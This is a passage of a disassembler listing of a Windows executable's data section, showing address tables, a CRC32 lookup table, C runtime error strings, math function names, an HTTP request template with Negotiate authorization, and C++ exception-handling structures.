223B2h ; DATA XREF: sub_40211A+Er ; sub_40B16D+Dr ... dword_421060 dd 223C2h ; DATA XREF: sub_4021FB+5Dr ; sub_40283D+E3r ... dword_421064 dd 223CAh ; DATA XREF: sub_402FDD+66r ; sub_4030C0+65r ... dword_421068 dd 223E0h ; DATA XREF: sub_4033CB+135r ; sub_406A32+80r ... dword_42106C dd 223ECh ; DATA XREF: sub_4033CB+120r ; sub_4033CB+150r ... dword_421070 dd 223FAh ; DATA XREF: sub_4033CB+103r ; sub_409E15+AEr ... dword_421074 dd 22406h ; DATA XREF: sub_4033CB+E9r dword_421078 dd 2241Ah ; DATA XREF: sub_4033CB+68r ; sub_406100+1C4r ... dword_42107C dd 22428h ; DATA XREF: sub_405A89+18r ; sub_407276+58r ... dword_421080 dd 2243Eh ; DATA XREF: sub_405F7E+9Fr ; sub_40AAD1+1B6r dword_421084 dd 22450h ; DATA XREF: sub_405F7E+8Br ; sub_40AAD1+19Fr dword_421088 dd 22462h ; DATA XREF: sub_406100+282r ; sub_407276:loc_4073B2r ... dword_42108C dd 22472h ; DATA XREF: sub_406100+24Dr ; sub_407276+10Er ... dword_421090 dd 22482h ; DATA XREF: sub_406100+1EEr ; sub_406A32+38r ... dword_421094 dd 22490h ; DATA XREF: sub_406100+110r ; sub_409E15+10Fr ... dword_421098 dd 224A6h ; DATA XREF: sub_4063B0+5E8r ; sub_4088A0+C0r ... dword_42109C dd 224B2h ; DATA XREF: sub_4063B0+27Br dword_4210A0 dd 224CAh ; DATA XREF: sub_4063B0+26Dr dword_4210A4 dd 224E4h ; DATA XREF: sub_4063B0+20Dr ; sub_4063B0+5D7r ... dword_4210A8 dd 224F4h ; DATA XREF: sub_4063B0+1FCr ; sub_4088A0+26r dword_4210AC dd 22506h ; DATA XREF: sub_406A32+6Cr ; sub_40B712+259r ... dword_4210B0 dd 22518h ; DATA XREF: sub_40778B+13Fr dword_4210B4 dd 22530h ; DATA XREF: sub_40778B+D4r dword_4210B8 dd 22548h ; DATA XREF: sub_40799F+77r dword_4210BC dd 22570h ; DATA XREF: sub_40799F+6Br ; sub_40799F+22Fr dword_4210C0 dd 22588h ; DATA XREF: sub_4089F2+13Ar ; sub_4089F2:loc_408EE2r ... dword_4210C4 dd 22598h ; DATA XREF: sub_4089F2+11r ; sub_419EEF+15r ... dword_4210C8 dd 225AAh ; DATA XREF: sub_4089F2+2r ; sub_409E15+FBr ... dword_4210CC dd 225BEh ; DATA XREF: sub_409C08+2Dr dword_4210D0 dd 225D0h ; DATA XREF: sub_409C92+26r dword_4210D4 dd 225E0h ; DATA XREF: sub_409C92+1Dr dword_4210D8 dd 225EEh ; DATA XREF: sub_409CCD+69r dword_4210DC dd 22600h ; DATA XREF: sub_409CCD+36r dword_4210E0 dd 22610h ; DATA XREF: sub_409CCD+25r dword_4210E4 dd 22626h ; DATA XREF: sub_409D4F+96r dword_4210E8 dd 22634h ; DATA XREF: sub_409D4F+60r dword_4210EC dd 22642h ; DATA XREF: sub_409E15+17Er ; sub_409F9D+B4r ... dword_4210F0 dd 22654h ; DATA XREF: sub_409E15+15Dr dword_4210F4 dd 22670h ; DATA XREF: sub_409E15+126r ; sub_40C682+1BFr ... dword_4210F8 dd 22686h ; DATA XREF: sub_409E15+35r ; sub_40CE55+3D2Fr dword_4210FC dd 226ACh ; DATA XREF: sub_40A6A8+3Dr dword_421100 dd 226BCh ; DATA XREF: sub_40A7FD+91r dword_421104 dd 226CEh ; DATA XREF: sub_40A7FD+79r ; sub_413D67+Cr ... dword_421108 dd 226E2h ; DATA XREF: sub_40A7FD+3Br dword_42110C dd 226F0h ; DATA XREF: sub_40AAD1+24r ; .nsp0:004142A7r dword_421110 dd 22700h ; DATA XREF: sub_40AAD1+1CFr dword_421114 dd 22716h ; DATA XREF: sub_40BCEF+478r ; sub_40C59A+DFr ... dword_421118 dd 22724h ; DATA XREF: sub_40C682+333r ; sub_40CE55+473Er ... dword_42111C dd 22732h ; DATA XREF: sub_40C682+26Fr ; sub_413DD2+175r ... dword_421120 dd 22740h ; DATA XREF: sub_40C682+262r dword_421124 dd 22756h ; DATA XREF: sub_40C682:loc_40C847r dword_421128 dd 22762h ; DATA XREF: sub_40C682+75r ; sub_40C682+309r dword_42112C dd 22778h ; DATA XREF: sub_40C682+6Er dword_421130 dd 22788h ; DATA XREF: sub_40CE55+4986r ; sub_4150CE+2Br dword_421134 dd 2279Ah ; DATA XREF: sub_40CE55+3B20r dword_421138 dd 227A6h ; DATA XREF: sub_41328A+13r ; sub_41BD71+20Dr ... dword_42113C dd 227BCh ; DATA XREF: sub_413CA9+34r ; .nsp0:0041419Cr dword_421140 dd 227D0h ; DATA XREF: sub_413DD2+184r ; sub_414061+1Fr ... dword_421144 dd 227E4h ; DATA XREF: .nsp0:00414233r dword_421148 dd 227F6h ; DATA XREF: sub_4149DE+1EBr dword_42114C dd 2280Ah ; DATA XREF: sub_415E07+2Er ; sub_4174DF+AFr ... dword_421150 dd 22816h ; DATA XREF: sub_415E3D+27r ; sub_418B28+2C4r ... dword_421154 dd 22822h ; DATA XREF: sub_42010Cr dword_421158 dd 2282Eh ; DATA XREF: sub_416AD4+6Cr ; sub_41E162+38r dword_42115C dd 22848h ; DATA XREF: sub_416AD4+17r dword_421160 dd 22858h ; DATA XREF: sub_4174DF+F0r ; sub_41915C+28r dword_421164 dd 22866h ; DATA XREF: .nsp0:00417B97r ; sub_41CC52+59r dword_421168 dd 22878h ; DATA XREF: .nsp0:00417B6Cr dword_42116C dd 2288Ah ; DATA XREF: .nsp0:00417B1Er dword_421170 dd 22898h ; DATA XREF: sub_418A83+2Fr dword_421174 dd 228A6h ; DATA XREF: sub_418A83+11r dword_421178 dd 228B4h ; DATA XREF: sub_418B28+23Fr dword_42117C dd 228C2h ; DATA XREF: sub_41915C+76r ; sub_41920D+51r dword_421180 dd 228D2h ; DATA XREF: sub_41DF82+Cr dword_421184 dd 228E2h ; DATA XREF: sub_4196E9+215r ; sub_420209+2Er dword_421188 dd 228F4h ; DATA XREF: sub_41AC48+21r dword_42118C dd 22900h ; DATA XREF: sub_41BD71+5Er ; sub_41BD71+A7r dword_421190 dd 22910h ; DATA XREF: sub_41BD71+42r ; sub_41BD71+14Dr ... dword_421194 dd 22920h ; DATA XREF: sub_41BFC0+48r ; sub_41C1FF+14r ... dword_421198 dd 2292Ch ; DATA XREF: sub_41C159+2Fr dword_42119C dd 22936h ; DATA XREF: sub_41C159+1Ar dword_4211A0 dd 22942h ; DATA XREF: sub_41C63E+138r dword_4211A4 dd 2295Eh ; DATA XREF: sub_41CB20+11Fr dd 0 dword_4211AC dd 80000074h ; DATA XREF: sub_405A0C+6Er ; sub_405A89+8Er dword_4211B0 dd 80000073h ; DATA XREF: sub_405409+47r ; sub_405A0C+15r dword_4211B4 dd 80000015h ; DATA XREF: sub_405409+8Dr dword_4211B8 dd 8000000Ah ; DATA XREF: sub_405409+9Dr dword_4211BC dd 80000002h ; DATA XREF: sub_405409+C4r dword_4211C0 dd 8000000Dh ; DATA XREF: sub_405409+D8r dword_4211C4 dd 80000001h ; DATA XREF: sub_405409+180r dword_4211C8 dd 80000034h ; DATA XREF: .nsp0:0040530Cr dword_4211CC dd 80000016h ; DATA XREF: .nsp0:004053F5r dword_4211D0 dd 80000012h ; DATA XREF: sub_40446E+4Cr ; sub_405409+115r dword_4211D4 dd 80000097h ; DATA XREF: sub_420106r dword_4211D8 dd 8000000Bh ; DATA XREF: sub_40283D+27r ; sub_402DDD+2Ar ... dword_4211DC dd 80000009h ; DATA XREF: sub_40283D+37r ; sub_402988+EDr ... dword_4211E0 dd 80000017h ; DATA XREF: sub_40283D+46r ; sub_402DDD+49r ... dword_4211E4 dd 80000004h ; DATA XREF: sub_40283D+61r ; sub_402DDD+64r ... dword_4211E8 dd 80000010h ; DATA XREF: sub_40283D+7Er ; sub_40283D+135r ... dword_4211EC dd 80000013h ; DATA XREF: sub_40283D+D1r ; sub_402988+26Br ... dword_4211F0 dd 80000003h ; DATA XREF: sub_40283D+13Er ; sub_402DDD+154r ... align 8 aGetHttp1_0Host db 'GET / HTTP/1.0',0Dh,0Ah ; DATA XREF: sub_40484C+62o db 'Host: %s',0Dh,0Ah db 'Authorization: Negotiate %s',0Dh,0Ah db 0Dh,0Ah,0 align 8 dbl_421238 dq 1.388888888888889e-2 ; DATA XREF: sub_40465E+2Fr dbl_421240 dq 1.666666666666667e-1 ; DATA XREF: sub_40465E+15r dword_421248 dd 0FFFFFFFFh ; DATA XREF: sub_4046AA+16Fr ; sub_404B1Er ... align 10h dbl_421250 dq 1.333333333333333 ; DATA XREF: sub_4046AA+79r dword_421258 dd 0 ; DATA XREF: sub_40484C+4Do ; sub_404BCE+5Bo ... dword_42125C dd 0 ; DATA XREF: sub_40B41E+26r dd 77073096h, 0EE0E612Ch, 990951BAh, 76DC419h, 706AF48Fh dd 0E963A535h, 9E6495A3h, 0EDB8832h, 79DCB8A4h, 0E0D5E91Eh dd 97D2D988h, 9B64C2Bh, 7EB17CBDh, 0E7B82D07h, 90BF1D91h dd 1DB71064h, 6AB020F2h, 0F3B97148h, 84BE41DEh, 1ADAD47Dh dd 6DDDE4EBh, 0F4D4B551h, 83D385C7h, 136C9856h, 646BA8C0h dd 0FD62F97Ah, 8A65C9ECh, 14015C4Fh, 63066CD9h, 0FA0F3D63h dd 8D080DF5h, 3B6E20C8h, 4C69105Eh, 0D56041E4h, 0A2677172h dd 3C03E4D1h, 4B04D447h, 0D20D85FDh, 0A50AB56Bh, 35B5A8FAh dd 42B2986Ch, 0DBBBC9D6h, 0ACBCF940h, 32D86CE3h, 45DF5C75h dd 0DCD60DCFh, 0ABD13D59h, 26D930ACh, 51DE003Ah, 0C8D75180h dd 0BFD06116h, 21B4F4B5h, 56B3C423h, 0CFBA9599h, 0B8BDA50Fh dd 2802B89Eh, 5F058808h, 0C60CD9B2h, 0B10BE924h, 2F6F7C87h dd 58684C11h, 0C1611DABh, 0B6662D3Dh, 76DC4190h, 1DB7106h dd 98D220BCh, 0EFD5102Ah, 71B18589h, 6B6B51Fh, 9FBFE4A5h dd 0E8B8D433h, 7807C9A2h, 0F00F934h, 9609A88Eh, 0E10E9818h dd 7F6A0DBBh, 86D3D2Dh, 91646C97h, 0E6635C01h, 6B6B51F4h dd 1C6C6162h, 856530D8h, 0F262004Eh, 6C0695EDh, 1B01A57Bh dd 8208F4C1h, 0F50FC457h, 65B0D9C6h, 12B7E950h, 8BBEB8EAh dd 0FCB9887Ch, 62DD1DDFh, 15DA2D49h, 8CD37CF3h, 0FBD44C65h dd 4DB26158h, 3AB551CEh, 0A3BC0074h, 0D4BB30E2h, 4ADFA541h dd 3DD895D7h, 0A4D1C46Dh, 0D3D6F4FBh, 4369E96Ah, 346ED9FCh dd 0AD678846h, 0DA60B8D0h, 44042D73h, 33031DE5h, 0AA0A4C5Fh dd 0DD0D7CC9h, 5005713Ch, 270241AAh, 0BE0B1010h, 0C90C2086h dd 5768B525h, 206F85B3h, 0B966D409h, 0CE61E49Fh, 5EDEF90Eh dd 29D9C998h, 0B0D09822h, 0C7D7A8B4h, 59B33D17h, 2EB40D81h dd 0B7BD5C3Bh, 0C0BA6CADh, 0EDB88320h, 9ABFB3B6h, 3B6E20Ch dd 74B1D29Ah, 0EAD54739h, 9DD277AFh, 4DB2615h, 73DC1683h dd 0E3630B12h, 94643B84h, 0D6D6A3Eh, 7A6A5AA8h, 0E40ECF0Bh dd 9309FF9Dh, 0A00AE27h, 7D079EB1h, 0F00F9344h, 8708A3D2h dd 1E01F268h, 6906C2FEh, 0F762575Dh, 806567CBh, 196C3671h dd 6E6B06E7h, 0FED41B76h, 89D32BE0h, 10DA7A5Ah, 67DD4ACCh dd 0F9B9DF6Fh, 8EBEEFF9h, 17B7BE43h, 60B08ED5h, 0D6D6A3E8h dd 0A1D1937Eh, 38D8C2C4h, 4FDFF252h, 0D1BB67F1h, 0A6BC5767h dd 3FB506DDh, 48B2364Bh, 0D80D2BDAh, 0AF0A1B4Ch, 36034AF6h dd 41047A60h, 0DF60EFC3h, 0A867DF55h, 316E8EEFh, 4669BE79h dd 0CB61B38Ch, 0BC66831Ah, 256FD2A0h, 5268E236h, 0CC0C7795h dd 0BB0B4703h, 220216B9h, 5505262Fh, 0C5BA3BBEh, 0B2BD0B28h dd 2BB45A92h, 5CB36A04h, 0C2D7FFA7h, 0B5D0CF31h, 2CD99E8Bh dd 5BDEAE1Dh, 9B64C2B0h, 0EC63F226h, 756AA39Ch, 26D930Ah dd 9C0906A9h, 0EB0E363Fh, 72076785h, 5005713h, 95BF4A82h dd 0E2B87A14h, 7BB12BAEh, 0CB61B38h, 92D28E9Bh, 0E5D5BE0Dh dd 7CDCEFB7h, 0BDBDF21h, 86D3D2D4h, 0F1D4E242h, 68DDB3F8h dd 1FDA836Eh, 81BE16CDh, 0F6B9265Bh, 6FB077E1h, 18B74777h dd 88085AE6h, 0FF0F6A70h, 66063BCAh, 11010B5Ch, 8F659EFFh dd 0F862AE69h, 616BFFD3h, 166CCF45h, 0A00AE278h, 0D70DD2EEh dd 4E048354h, 3903B3C2h, 0A7672661h, 0D06016F7h, 4969474Dh dd 3E6E77DBh, 0AED16A4Ah, 0D9D65ADCh, 40DF0B66h, 37D83BF0h dd 0A9BCAE53h, 0DEBB9EC5h, 47B2CF7Fh, 30B5FFE9h, 0BDBDF21Ch dd 0CABAC28Ah, 53B39330h, 24B4A3A6h, 0BAD03605h, 0CDD70693h dd 54DE5729h, 23D967BFh, 0B3667A2Eh, 0C4614AB8h, 5D681B02h dd 2A6F2B94h, 0B40BBE37h, 0C30C8EA1h, 5A05DF1Bh, 2D02EF8Dh dd 0 dbl_421660 dq 9.765625e-4 ; DATA XREF: sub_40BCEF+2BDr ; sub_40BCEF+2D8r ... dbl_421668 dq -3.0517578125e-5 ; DATA XREF: sub_414098+1Er dbl_421670 dq 1.0 ; DATA XREF: sub_415E6C+6Cr ; sub_415FB3+6Cr ... dword_421678 dd 0FFFFFFFFh, 417BCFh, 417BE3h ; DATA XREF: .nsp0:00417AFDo byte_421684 db 6 ; DATA XREF: sub_417D4C:loc_417DA3r db 2 dup(0), 6 dd 100h, 6030010h, 10020600h, 45454504h, 5050505h, 303505h dd 50h, 38282000h, 8075850h, 30303700h, 75057h, 8202000h dd 0 dd 60686008h, 606060h, 78707000h, 8787878h, 807h, 8080007h dd 8000008h, 7000800h, 8 aNull: ; DATA XREF: .nsp0:off_437D8Co unicode 0, <(null)>,0 align 10h aNull_0 db '(null)',0 ; DATA XREF: .nsp0:off_437D88o align 4 a_yn db '_yn',0 a_y1 db '_y1',0 a_y0 db '_y0',0 aFrexp db 'frexp',0 align 4 aFmod db 'fmod',0 align 4 a_hypot db '_hypot',0 align 4 a_cabs db '_cabs',0 align 4 aLdexp db 'ldexp',0 align 4 aModf db 'modf',0 align 4 aFabs db 'fabs',0 align 4 aFloor db 'floor',0 align 4 aCeil db 'ceil',0 align 4 aTan db 'tan',0 aCos db 'cos',0 aSin db 'sin',0 aSqrt db 'sqrt',0 align 10h aAtan2 db 'atan2',0 align 4 aAtan db 'atan',0 align 10h aAcos db 'acos',0 align 4 aAsin db 'asin',0 align 10h aTanh db 'tanh',0 align 4 aCosh db 'cosh',0 align 10h aSinh db 'sinh',0 align 4 aLog10 db 'log10',0 align 10h aLog db 'log',0 aPow db 'pow',0 aExp db 'exp',0 ; DATA XREF: .nsp0:off_437FB4o align 10h dbl_4217B0 dq 0.0 ; DATA XREF: sub_41999C+8Cr ; sub_41999C+ACr ... dbl_4217B8 dq 4.195835e6 ; DATA XREF: sub_419EB1+Fr dbl_4217C0 dq 3.145727e6 ; DATA XREF: sub_419EB1+6r aIsprocessorfea db 'IsProcessorFeaturePresent',0 ; DATA XREF: sub_419EEF+Fo align 4 aKernel32 db 'KERNEL32',0 ; DATA XREF: sub_419EEFo align 10h aE000 db 'e+000',0 ; DATA XREF: sub_41A016+93o align 4 dword_4217F8 dd 0FFFFFFFFh, 41A701h, 41A70Bh, 0 ; DATA XREF: sub_41A69A+5o dword_421808 dd 0FFFFFFFFh, 0 ; DATA XREF: sub_41A7C9+5o dd offset loc_41A887 align 8 dd offset sub_41A865 dd offset sub_41A86F dword_421820 dd 0FFFFFFFFh, 41AAB7h, 41AABBh, 0 ; DATA XREF: sub_41A8FF+5o dword_421830 dd 0FFFFFFFFh, 41AB19h, 41AB22h, 0 ; DATA XREF: sub_41AAC3+5o dword_421840 dd 0FFFFFFFFh, 0 ; DATA XREF: sub_41AB9C+5o dd offset loc_41ABED align 10h dd offset loc_41ABD9 dd offset loc_41ABDD dword_421858 dd 0FFFFFFFFh, 0 ; DATA XREF: sub_41ABF2+5o dd offset loc_41AC43 align 8 dd offset loc_41AC2F dd offset loc_41AC33 dword_421870 dd 2 dup(0) ; DATA XREF: sub_41BD71+36o ; sub_41D1F7+39o ... dword_421878 dd 0FFFFFFFFh, 41BE81h, 41BE85h, 0FFFFFFFFh, 41BF35h, 41BF39h ; DATA XREF: sub_41BD71+5o dd 746E7572h, 20656D69h, 6F727265h, 2072h, 534F4C54h, 72652053h dd 0D726F72h, 0Ah, 474E4953h, 72726520h, 0A0D726Fh, 0 dd 414D4F44h, 65204E49h, 726F7272h, 0A0Dh, 32303652h, 2D0A0D38h dd 616E7520h, 20656C62h, 69206F74h, 6974696Eh, 7A696C61h dd 65682065h, 0A0D7061h, 0 aR6027NotEnough db 'R6027',0Dh,0Ah db '- not enough space for lowio initialization',0Dh,0Ah,0 align 10h aR6026NotEnough db 'R6026',0Dh,0Ah db '- not enough space for stdio initialization',0Dh,0Ah,0 align 4 aR6025PureVirtu db 'R6025',0Dh,0Ah db '- pure virtual function call',0Dh,0Ah,0 align 10h aR6024NotEnough db 'R6024',0Dh,0Ah db '- not enough space for _onexit/atexit table',0Dh,0Ah,0 align 4 aR6019UnableToO db 'R6019',0Dh,0Ah db '- unable to open console device',0Dh,0Ah,0 align 4 aR6018Unexpecte db 'R6018',0Dh,0Ah db '- unexpected heap error',0Dh,0Ah,0 align 4 aR6017Unexpecte db 'R6017',0Dh,0Ah db '- unexpected multithread lock error',0Dh,0Ah,0 align 4 aR6016NotEnough db 'R6016',0Dh,0Ah db '- not enough space for thread data',0Dh,0Ah,0 aAbnormalProgra db 0Dh,0Ah db 'abnormal program termination',0Dh,0Ah,0 align 4 aR6009NotEnough db 'R6009',0Dh,0Ah db '- not enough space for environment',0Dh,0Ah,0 aR6008NotEnough db 'R6008',0Dh,0Ah db '- not enough space for arguments',0Dh,0Ah,0 align 10h aR6002FloatingP db 'R6002',0Dh,0Ah ; DATA XREF: .nsp0:off_4383FCo db '- floating point not loaded',0Dh,0Ah,0 align 4 aMicrosoftVisua db 'Microsoft Visual C++ Runtime Library',0 ; DATA XREF: sub_41CF19+119o align 10h asc_421B40 db 0Ah ; DATA XREF: sub_41CF19+F1o db 0Ah,0 align 4 aRuntimeErrorPr db 'Runtime Error!',0Ah ; DATA XREF: sub_41CF19+D3o db 0Ah db 'Program: ',0 align 10h a___ db '...',0 ; DATA XREF: sub_41CF19+BFo aProgramNameUnk db '<program name unknown>',0 ; DATA XREF: sub_41CF19+7Do align 10h dword_421B80 dd 0FFFFFFFFh, 41D2F0h, 41D2F4h ; DATA XREF: sub_41D1F7+5o aSunmontuewedth db 'SunMonTueWedThuFriSat',0 align 4 aJanfebmaraprma db 'JanFebMarAprMayJunJulAugSepOctNovDec',0 align 4 aTz db 'TZ',0 ; DATA XREF: sub_41E162+Ao align 10h aGetlastactivep db 'GetLastActivePopup',0 ; DATA XREF: sub_41E6EE+3Do align 4 aGetactivewindo db 'GetActiveWindow',0 ; DATA XREF: sub_41E6EE+35o aMessageboxa db 'MessageBoxA',0 ; DATA XREF: sub_41E6EE+24o a1Qnan db '1#QNAN',0 ; DATA XREF: sub_41F004:loc_41F0F9o align 4 a1Inf db '1#INF',0 ; DATA XREF: sub_41F004+D8o align 10h a1Ind db '1#IND',0 ; DATA XREF: sub_41F004+C7o align 4 a1Snan db '1#SNAN',0 ; DATA XREF: sub_41F004+ADo align 10h dword_421C20 dd 0FFFFFFFFh, 41F9FCh, 41FA00h, 0FFFFFFFFh, 41FA6Bh, 41FA6Fh ; DATA XREF: sub_41F845+5o dd 421D40h off_421C3C dd offset loc_41FFA8 ; DATA XREF: sub_41FDB0+4Do ; sub_41FFC4+Co dd offset sub_41FE6E dd offset sub_41FF8B aStringTooLong db 'string too long',0 ; DATA XREF: sub_41FDB0+1Eo dd offset dword_421D78 off_421C5C dd offset loc_41FED5 ; DATA XREF: sub_41FE0A+4Eo ; sub_41FE98+11o ... dd offset sub_41FE6E dd offset sub_41FE7B dd offset dword_421DC8 off_421C6C dd offset loc_420090 ; DATA XREF: sub_41FFDC+4Do ; sub_4200AC+Co dd offset sub_41FE6E dd offset sub_420073 aInvalidStringP db 'invalid string position',0 ; DATA XREF: sub_41FFDC+1Eo dd offset dword_421DF8 off_421C94 dd offset sub_420112 ; DATA XREF: sub_42012E+8o ; sub_42016B+8o ... ; --------------------------------------------------------------------------- retf ; --------------------------------------------------------------------------- db 1, 42h, 0 aUnknownExcepti db 'Unknown exception',0 ; DATA XREF: .nsp0:004201D2o align 10h dd offset dword_421E40 off_421CB4 dd offset loc_4201ED ; DATA XREF: sub_4201D8o ; .nsp0:off_438B20o ... dword_421CB8 dd 0E06D7363h, 1, 2 dup(0) ; DATA XREF: sub_420209+Eo dd 3, 19930520h, 2 dup(0) off_421CD8 dd offset off_438B20 ; DATA XREF: .nsp0:00421D28o ; .nsp0:00421D5Co ... dd 2 dup(0) dd 0FFFFFFFFh, 2 dup(0) off_421CF0 dd offset off_438B38 ; DATA XREF: .nsp0:00421D24o ; .nsp0:00421D58o ... dd 1, 0 dd 0FFFFFFFFh, 2 dup(0) off_421D08 dd offset off_438B58 ; DATA XREF: .nsp0:00421D20o dd 2, 0 dd 0FFFFFFFFh, 2 dup(0) dd offset off_421D08 dd offset off_421CF0 dd offset off_421CD8 dword_421D2C dd 3 dup(0) ; DATA XREF: .nsp0:00421D50o dd 3, 421D20h, 3 dup(0) dd offset off_438B58 dd offset dword_421D2C+4 align 8 dd offset off_421CF0 dd offset off_421CD8 dword_421D60 dd 4 dup(0) ; DATA XREF: .nsp0:00421D88o dd 2, 421D58h dword_421D78 dd 3 dup(0) ; DATA XREF: .nsp0:00421C58o dd offset off_438B38 dd offset dword_421D60+8 align 10h off_421D90 dd offset off_438B78 ; DATA XREF: .nsp0:00421DA8o dd 2, 0 dd 0FFFFFFFFh, 2 dup(0) dd offset off_421D90 dd offset off_421CF0 dd offset off_421CD8 dd 0 db 0 ; DATA XREF: .nsp0:00421DD8o db 0 db 0 db 0 db 0 db 0 db 0 db 0 dd 3, 421DA8h dword_421DC8 dd 3 dup(0) ; DATA XREF: .nsp0:00421C68o dd offset off_438B78 dd offset unk_421DB8 dd offset off_421CD8 dword_421DE0 dd 4 dup(0) ; DATA XREF: .nsp0:00421E08o dd 1, 421DDCh dword_421DF8 dd 3 dup(0) ; DATA XREF: .nsp0:00421C90o dd offset off_438B20 dd offset dword_421DE0+8 align 10h off_421E10 dd offset off_438B98 ; DATA XREF: .nsp0:00421E28o dd 2 dup(0) dd 0FFFFFFFFh, 2 dup(0) dd offset off_421E10 dword_421E2C dd 3 dup(0) ; DATA XREF: .nsp0:00421E50o dd 1, 421E28h dword_421E40 dd 3 dup(0) ; DATA XREF: .nsp0:00421CB0o dd offset off_438B98 dd offset dword_421E2C+4 align 8 dword_421E58 dd 19930520h, 2, 421E78h, 5 dup(0) ; DATA XREF: .nsp0:loc_420263o dd 0FFFFFFFFh, 42024Ch, 0 dd offset sub_420244 dword_421E88 dd 19930520h, 2, 421EA8h, 5 dup(0) ; DATA XREF: .nsp0:loc_420280o dd 0FFFFFFFFh, 420270h, 0 dd offset loc_420278 dword_421EB8 dd 19930520h, 2, 421ED8h, 1, 421EE8h, 3 dup(0) ; DATA XREF: .nsp0:loc_42028Co dd 0FFFFFFFFh, 0 dd 0FFFFFFFFh, 3 dup(0) dd 2 dup(1), 421F00h, 4 dup(0) dd offset loc_404E38 dd 0 dd offset off_438B20 dd 0 dd 0FFFFFFFFh, 0 dd 0Ch, 42016Bh, 2 dup(0) dd offset off_438B38 dd 0 dd 0FFFFFFFFh, 0 dd 1Ch, 41FEF1h, 2 dup(0) dd offset off_438B58 dd 0 dd 0FFFFFFFFh, 0 dd 1Ch, 41FFC4h, 0 dword_421F70 dd 3, 421F50h, 421F30h, 421F10h ; DATA XREF: .nsp0:00421F8Co dword_421F80 dd 0 ; DATA XREF: sub_41FDB0+47o ; sub_41FF8B+12o dd offset sub_41FF4E dd 0 dd offset dword_421F70 dword_421F90 dd 19930520h, 1, 421FB0h, 5 dup(0) ; DATA XREF: .nsp0:loc_4202A0o dd 0FFFFFFFFh, 420298h dword_421FB8 dd 19930520h, 1, 421FD8h, 5 dup(0) ; DATA XREF: .nsp0:loc_4202B4o dword_421FD8 dd 0FFFFFFFFh, 4202ACh, 2, 421F30h, 421F10h, 0 ; DATA XREF: .nsp0:00421FFCo dword_421FF0 dd 0 ; DATA XREF: sub_41FE7B+12o dd offset sub_41FE98 dd 0 dd offset dword_421FD8+8 dword_422000 dd 19930520h, 1, 422020h, 5 dup(0) ; DATA XREF: .nsp0:loc_4202C8o dd 0FFFFFFFFh, 4202C0h dword_422028 dd 19930520h, 1, 422048h, 5 dup(0) ; DATA XREF: .nsp0:loc_4202DCo dd 0FFFFFFFFh, 4202D4h dword_422050 dd 19930520h, 1, 422070h, 5 dup(0) ; DATA XREF: .nsp0:loc_4202F0o dd 0FFFFFFFFh, 4202E8h, 0 dd offset off_438B78 dd 0 dd 0FFFFFFFFh, 0 dd 1Ch, 4200ACh, 0 dword_422098 dd 3, 422078h, 421F30h, 421F10h ; DATA XREF: .nsp0:004220B4o dword_4220A8 dd 0 ; DATA XREF: sub_41FFDC+47o ; sub_420073+12o dd offset sub_420036 dd 0 dd offset dword_422098 dword_4220B8 dd 19930520h, 1, 4220D8h, 5 dup(0) ; DATA XREF: .nsp0:loc_420304o dd 0FFFFFFFFh, 4202FCh dword_4220E0 dd 19930520h, 1, 422100h, 5 dup(0) ; DATA XREF: .nsp0:loc_420318o dd 0FFFFFFFFh, 420310h, 90h dup(0) dd 7Eh, 2 dup(0) dd 16D0000h, 3 dup(0) dd 2060000h, 6 dup(0) dd 207h, 6 dup(0) dd 159h, 4 dup(0) dd 11B0000h, 3 dup(0) dd 2960000h, 0 dd 1E40000h, 5 dup(0) dd 218h, 2 dup(0) dd 1Bh, 2 dup(0) dd 2DF0000h, 2 dup(0) dd 2A70000h, 4 dup(0) dd 340000h, 3 dup(0) dd 124h, 4 dup(0) dd 16E0000h, 4 dup(0) dd 0FBh, 3 dup(0) dd 11A0000h, 3 dup(0) dd offset dword_4A0000 dd 3 dup(0) dd 1120000h, 3 dup(0) dd 10Dh, 4 dup(0) dd 900000h, 2 dup(0) dd 8A0000h, 5 dup(0) dd 890000h, 6 dup(0) dd 9Dh, 3 dup(0) dd 94h, 3 dup(0) dd 26A0000h, 4 dup(0) dd 1C1h, 5 dup(0) dd 66h, 5 dup(0) dd 1ABh, 9 dup(0) dd 55h, 5 dup(0) ; --------------------------------------------------------------------------- retn 1 ; --------------------------------------------------------------------------- align 4 dd 3 dup(0) dd 13Eh, 3 dup(0) dd 1260000h, 4 dup(0) dd 0AF0000h, 4 dup(0) dd 193h, 3 dup(0) dd 18Ch, 2 dup(0) dd 2B00000h, 4 dup(0) dd 1D6h, 3 dup(0) dd 35h, 4 dup(0) dd 26C0000h, 3 dup(0) dd 114h, 2 dup(0) dd offset dword_440000 dd 4 dup(0) dd 80h, 6 dup(0) dd 268h, 4 dup(0) dd 1650000h, 3 dup(0) dd 10B0000h, 5 dup(0) dd 1F9h, 3 dup(0) dd 63h, 3 dup(0) dd 0F70000h, 4 dup(0) dd offset aSunday ; "sunday" align 10h dd 175h, 3 dup(0) dd 18Dh, 4 dup(0) dd 7D0000h, 3 dup(0) dd 57h, 2 dup(0) dd 1EF0000h, 3 dup(0) dd 0F8h, 4 dup(0) dd 280000h, 2 dup(0) dd 2CE0000h, 5 dup(0) dd 3Fh, 3 dup(0) dd 29Fh, 3 dup(0) dd 1DD0000h, 2 dup(0) dd 2D20000h, 5 dup(0) dd 0CEh, 4 dup(0) dd 29Eh, 4 dup(0) dd 11Ch, 3 dup(0) dd 1200000h, 4 dup(0) dd 1990000h, 2 dup(0) dd 19F0000h, 2 dup(0) dd 22F0000h, 2 dup(0) dd 1700000h, 6 dup(0) dd 15Dh, 3 dup(0) dd 1A2h, 2 dup(0) dd 1500000h, 4 dup(0) ; --------------------------------------------------------------------------- retf 0 ; --------------------------------------------------------------------------- align 4 dd 3 dup(0) dd 1740000h, 3 dup(0) dd 19Dh, 2 dup(0) dd 19B0000h, 3 dup(0) dd 2BFh, 2 dup(0) dd 2BB0000h, 3 dup(0) dd 1B80000h, 3 dup(0) dd 20B0000h, 4 dup(0) dd 1A3h, 2 dup(0) dd 1BFh, 3 dup(0) dd 1C0h, 3 dup(0) dd 0BFh, 2 dup(0) dd 0B9h, 0 dd 1310000h, 2 dup(0) dd 2AD0000h, 6 dup(0) dd 0B20000h, 6 dup(0) dd 0B3h, 5 dup(0) dd 1060000h, 5 dup(0) dd 1080000h, 6 dup(0) dd 26Dh, 3 dup(0) dd 1520000h, 3 dup(0) dd 1150000h, 3 dup(0) dd 153h, 3 dup(0) dd 1560000h, 4 dup(0) dd 27Ch, 3 dup(0) dd 0AAh, 4 dup(0) dd 28Bh, 6 dup(0) dd 1B50000h, 3 dup(0) dd 1B20000h, 3 dup(0) dd 2610000h, 3 dup(0) 